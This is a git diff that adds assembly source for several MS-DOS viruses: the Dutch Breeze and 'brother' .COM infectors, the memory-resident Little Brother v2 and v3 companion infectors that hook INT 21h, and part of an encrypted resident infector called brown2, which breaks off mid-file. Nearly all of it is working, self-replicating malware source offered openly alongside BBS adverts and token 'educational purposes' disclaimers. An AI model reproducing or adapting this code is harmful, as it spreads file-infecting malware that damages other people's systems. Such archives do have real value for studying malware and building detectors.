read or write? + int 6Dh ; int 13h + jnc readwritesuccessful + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop cx + loop tryreadwriteagain + + pop bx + pop bx + stc ; Indicate error + retn +readwritesuccessful: + pop cx + pop bx + retn + + +calcnextsector: + inc byte ptr cursector ; next sector + cmp byte ptr cursector,0Ah + jne donecalculate ; finished calculations + mov byte ptr cursector,1 ; clear sector # + inc curhead ; and go to next head + cmp curhead,2 ; if not too large, + jne donecalculate ; we are done + mov curhead,0 ; otherwise clear head # + inc byte ptr cursector+1 ; and advance cylinder +donecalculate: + retn + + db 64h, 74h, 61h + +; read buffer starts here +; insert your favorite boot block below... +readbuffer: +brain ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.breeze.asm b/MSDOS/Virus.MSDOS.Unknown.breeze.asm new file mode 100644 index 00000000..af310452 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.breeze.asm @@ -0,0 +1,197 @@ +;Ŀ +; Dutche Breeze by Glenn Benton +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +.MODEL TINY + +Public VirLen,MovLen + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0CaDah ; Signature of virus is ABCD! + +Buff1 Equ 0F100h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +DTA Equ 0F000h +Proggie Equ DTA+1Eh +Lenny Equ DTA+1Ah + +MinLen Equ Virlen ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Mov DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,Cs:[Lenny] ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Cmp DX,MaxLen ; + Ja ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op + Jnz Infect ; morgoth virus. Als bestand al besmet +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ + Db 'Dutch [Breeze] by Glenn Benton' +Infect: + Mov DX,Proggie ; beveiliging weghalen + Mov AH,43h ; + Mov AL,1 ; + Xor CX,Cx + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Jmp CS:[Sprong] ;------------------ + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin + diff --git a/MSDOS/Virus.MSDOS.Unknown.brother.asm b/MSDOS/Virus.MSDOS.Unknown.brother.asm new file mode 100644 index 00000000..f6737abb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.brother.asm @@ -0,0 +1,256 @@ +;Ŀ +; Morgoth & Deicide virus detector +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +.MODEL TINY + +Public VirLen,MovLen,PutMsg + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0CDABh ; Signature of virus is ABCD! +MorgSig Equ 0AdDeh ; Signature of morgoth is DEAD! +DeiSig Equ 0d90h ; Signature of deicide is 900D! + +BegMonthAct Equ 11 ; Begin Month of activation +EndMonthAct Equ 12 ; End Month of activation +BegDayAct Equ 11 ; Begin Day of activation +EndDayAct Equ 25 ; End Day of activation + +ActString Equ CR,LF,'Brotherhood... I am seeking my brothers "DEICIDE" and "MORGOTH"...',CR,LF,EOM +MorgString Equ CR,LF,'Found my brother "MORGOTH"!!!',CR,LF,EOM +DeicideString Equ CR,LF,'Found my brother "DEICIDE"!!!',CR,LF,EOM + +CR Equ 13 ; Return +LF Equ 10 ; Linefeed +EOM Equ '$' ; Einde Tekst + +Buff1 Equ 0F000h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +Proggie Equ Offset DTA+1Eh + +MinLen Equ Virlen ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This will contain only macros, for pieces of code which will be +; used very often. +; + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ + + Mov AH,2Ah ;------------------ + Int 21h ; Systeemdatum vergelijken met + Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is + Jb InfectPart ; moet word PutMsg aangeroepen, anders + Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen. + Jg InfectPart ; + Cmp DL,BegDayAct ; + Jb InfectPart ; + Cmp DL,EndDayAct ; + Jg InfectPart ;------------------ +PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en + Mov DX,Offset Msg ; de eerste 80 sectoren van de C + Int 21h ; drive worden volgeschreven met + Int 20h ; + +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Lea DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,DTA+1Ah ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Mov DX,MaxLen ; (langer dan virus) + Cmp DX,DTA+1Ah ; + Jb ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op + Jz Zoeknext ; morgoth virus. Als bestand al besmet + Cmp Ax,MorgSig ; is met morgoth, geef bericht en stop + Jz MorgHere ; executie! + Cmp Ax,DeiSig + jz DeiHere + Jmp Infect ;------------------ +MorgHere: Mov Ah,9 + Mov Dx,Offset Morg + Int 21h + Int 20h +DeiHere: Mov Ah,9 + Mov Dx,Offset Dei + Int 21h + Int 20h +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ + +Infect: + Mov AH,43h ;------------------ + Mov AL,0 ; Eventuele schrijf- + Mov DX,Proggie ; beveiliging weghalen + Int 21h ; van het programma + Mov AH,43h ; + Mov AL,1 ; + And CX,11111110b ; + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Jmp CS:[Sprong] ;------------------ + +Msg db ActString +Morg db MorgString +Dei db DeicideString + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + + Db '*** Glenn Benton ***' + +DTA DW 64 DUP(?) + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Movsb ; deze verplaatsroutine staat. + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin diff --git a/MSDOS/Virus.MSDOS.Unknown.brother2.asm b/MSDOS/Virus.MSDOS.Unknown.brother2.asm new file mode 100644 index 00000000..3853ba82 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.brother2.asm @@ -0,0 +1,265 @@ +;**************************************************************************** +;* Little Brother version 2 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +RESPAR equ (FILELEN/16d) + 17d +VERSION equ 2 +oi21 equ end +nameptr equ end+4 +DTA equ end+8 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ;get old DTA + int 21 + push es + push bx + + push cs ;set new DTA + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint + push di + mov si,offset COM_txt ;is extension 'COM'? + mov cx,3 + rep cmpsb + pop di + jz do_com + + mov si,offset EXE_txt ;is extension 'EXE'? + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute EXE-file + +return: mov ah,1Ah ;restore old DTA + pop dx + pop ds + int 21 + + ret + +do_com: call findfirst ;is the COM-file a virus? + cmp word ptr cs:[DTA+1Ah],FILELEN + jne return ;no, execute COM-file + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return ;yes, execute EXE-file + mov si,offset COM_txt ;change extension to COM + call change_ext + jmp short return ;execute COM-file + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/MSDOS/Virus.MSDOS.Unknown.brother3.asm b/MSDOS/Virus.MSDOS.Unknown.brother3.asm new file mode 100644 index 00000000..62d61561 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.brother3.asm @@ -0,0 +1,308 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* Little Brother version 3 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +oi21 equ end +nameptr equ end+4 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + mov sp,300 + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: push cs ;restore segment registers + pop ds + push cs + pop es + + mov bx,30 ;free memory + mov ah,4A + int 21 + + mov es,ds:[002C] ;search filename in environment + mov di,0 + mov ch,0FFh + mov al,01 + repnz scasb + inc di + + mov word ptr [nameptr],di + mov word ptr [nameptr+2],es + + mov si,offset EXE_txt ;change extension to .EXE + call change_ext + + push cs + pop es + mov bx,offset param ;make EXEC param. block + mov [bx+4],cs + mov [bx+8],cs + mov [bx+0C],cs + lds dx,dword ptr [nameptr] + mov ax,4B00 ;execute .EXE program + int 21 + mov ah,4Dh ;ask return code + int 21 + mov ah,4Ch ;exit with same return code + int 21 + + +;**************************************************************************** +;* EXEC parameter block +;**************************************************************************** + +param dw 0, 80, ?, 5C, ?, 6C, ? + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + push cs + pop ds + call searchpoint + mov si,offset EXE_txt ;is extension 'EXE'? + mov cx,3 + rep cmpsb + jnz return + + mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute .EXE program + +return: ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/MSDOS/Virus.MSDOS.Unknown.brown2.asm b/MSDOS/Virus.MSDOS.Unknown.brown2.asm new file mode 100644 index 00000000..8e49e65c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.brown2.asm @@ -0,0 +1,1039 @@ + assume ss:codevir + +pila segment stack 'stack' + db 64 dup ('12345678') +pila ends + + +code segment +anfitrion: + assume cs:code, ds:code + mov ah, 02h + mov dl, 'z' + int 21h + mov ax, 4C00h + int 21h +code ends + + + +codevir segment + assume cs:codevir, ds:codevir +start: + mov cx, (offset fincomienzo)-(offset comienzo)+(longi)+16 + mov si, offset comienzo ; Puesto por el compilador +bucleen: + xor byte ptr cs:[si],00h + xor byte ptr cs:[si],00h + inc si + loop bucleen + +;***comienzo*** +comienzo: + call acanomas +acanomas label near + pop ax + add ax, offset fincomienzo - offset acanomas + test al, 0Fh + jz noinc + add ax, 0010h +noinc: + mov cl, 04h + shr ax, cl + mov cx, ax + push cs + pop bx + add bx, cx + xor ax, ax + push cs + + push bx + push ax + retf ; Salto a OFS0 +fincomienzo: +codevir ends + +;***OFS0*** +porfin segment + assume cs:porfin, ds:porfin + ; Estoy en offset 0 con el segmento anterior + ; en la pila + add cs:[segcsm], cx + mov ah, 0DDh + int 21h + cmp ax, 'LO' + mov cs:[segant], ds + push cs ; DS = Ac + pop ds ; ES = Anterior + pop es ; + jnz noactivo + jmp correr +noactivo: + push ds + push es + cld + mov ds, [segant] + push cs + pop es + mov cx, 0010h + xor si, si + mov di, offset bufpsp + rep movsb + pop es + pop ds + + call activar + + push es + mov es, [segant] + mov cx, 0010h + xor di, di + mov si, offset bufpsp + rep movsb + pop es +correr: + cmp byte ptr [origen], 'C' + jnz desdeexe +desdecom: + mov si, offset original ; Los 3 bytes del comienzo original + mov di, 0100h + cld + movsw + movsb + + mov ds, [segant] + push ds + mov ax, 0100h + push ax + retf ; Al comienzo del anfitrin +desdeexe: + mov cx, [ofsexe] + mov bx, cs + sub bx, [segcsm] + mov ax, [segstk] + add ax, bx + cli + mov ss, ax + mov sp, [ofsstk] + sti + mov ax, [segexe] + add ax, bx + mov es, [segant] + mov ds, [segant] + push ax + push cx + retf ; Al comienzo del anfitrin + + + + +activar proc + cli + push es + mov es, [segant] + mov ah, 49h + int 21h + mov ah, 48h + mov bx, 0FFFFh + int 21h + sub bx, tamres+1 + mov ah, 4Ah + int 21h + + mov ax, es + add ax, bx + mov word ptr cs:[bufpsp + 0002h], ax + + mov ah, 48h + mov bx, tamres + int 21h + mov es, ax + call recubre + +copiamem: + xor si, si + mov di, si + mov cx, longi + cld + rep movsb + + push es + pop ds + mov ax, 3521h + int 21h + mov [int21cs], es + mov [int21ip], bx + mov dx, offset handler + call setintvec + + push cs + pop ds + +noalcanza: + pop es + sti + ret +activar endp + + + +recubre proc + push ax + mov ax, es + dec ax + mov es, ax + mov word ptr es:[0001h], 0008h + mov ax, es + inc ax + mov es, ax + pop ax + ret +recubre endp + + + +setintvec proc +; Entrada: +; AL : Nmero de interrupcin +; DS:DX : Puntero al handler + + pushf + push ax + push bx + push es + + cli + xor bh, bh + mov bl, al + shl bx, 01h + shl bx, 01h + xor ax, ax + mov es, ax + mov es:[bx], dx + mov es:[bx+02h],ds + + pop es + pop bx + pop ax + popf + ret +setintvec endp + + + +handler proc + cmp ah, 0DDh + jne vamo + mov ax, 'LO' + iret +vamo: + cmp ah, 4Bh + je fexec +finfexec: + jmp dword ptr cs:[int21ip] +handler endp + + + +fexec proc + cld + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov ah, 48h + mov bx, 0100h + pushf + call dword ptr cs:[int21ip] + jc memoerror1 + mov es, ax + + push es + push ds + push dx + mov ax, 3524h + pushf + call dword ptr cs:[int21ip] + mov cs:[int24ip], bx + mov cs:[int24cs], es + mov dx, offset hand24 + push cs + pop ds + call setintvec + pop dx + pop ds + pop es + + + call getattr + + mov ax, 3D02h + pushf + call dword ptr cs:[int21ip] + jc openerror1 + + push ds + push dx + mov bx, ax + mov cs:[fhandle], ax + mov ah, 3Fh + mov cx, 0004h + push cs + pop ds + mov dx, offset original ; Estos bytes ahora estn inutilizados + pushf + call dword ptr cs:[int21ip] + pop dx + pop ds + jc readerror1 + + push dx + mov ax, 5700h + pushf + call dword ptr cs:[int21ip] + mov cs:[fhora], cx + mov cs:[ffecha],dx + pop dx + and cl, 00000111b + cmp cl, 00000101b + jz readerror1 ; 'ta listo + + + + push ds + push dx + + xor bp, bp + cmp cs:[original],'ZM' + jz dale ; Dale al COM + inc bp + jmp dale ; Dale al EXE + +openerror1: ; Para permitir saltos cortos + jmp openerror ; +memoerror1: ; + jmp memoerror ; +readerror1: ; + jmp readerror ; +writeerror1: ; + jmp writeerror ; + +dale: + push cs + pop ds + mov [origen],'C' + or bp, bp + jnz escom1 + mov [origen],'E' +escom1: + call alineafile ; DX:AX = Nueva longitud del archivo + cmp dl, 08h + ja writeerror1 ; Archivo de mas de 600k + push ax + push dx + mov cs:[longhi], dx + mov cs:[longlo], ax + + + call crea ; DI = Longitud del bloque a meter + jnc bien + pop ds + pop ax + jmp writeerror + +bien: + mov bx, [fhandle] + push es + pop ds + + + pop dx + pop ax + + push ax + add ax, 0100h + mov si, cs:[ddespl] + or bp, bp + jz esexe2 + add [si+01h], ax +esexe2: + mov cx, di + mov ah, 40h + 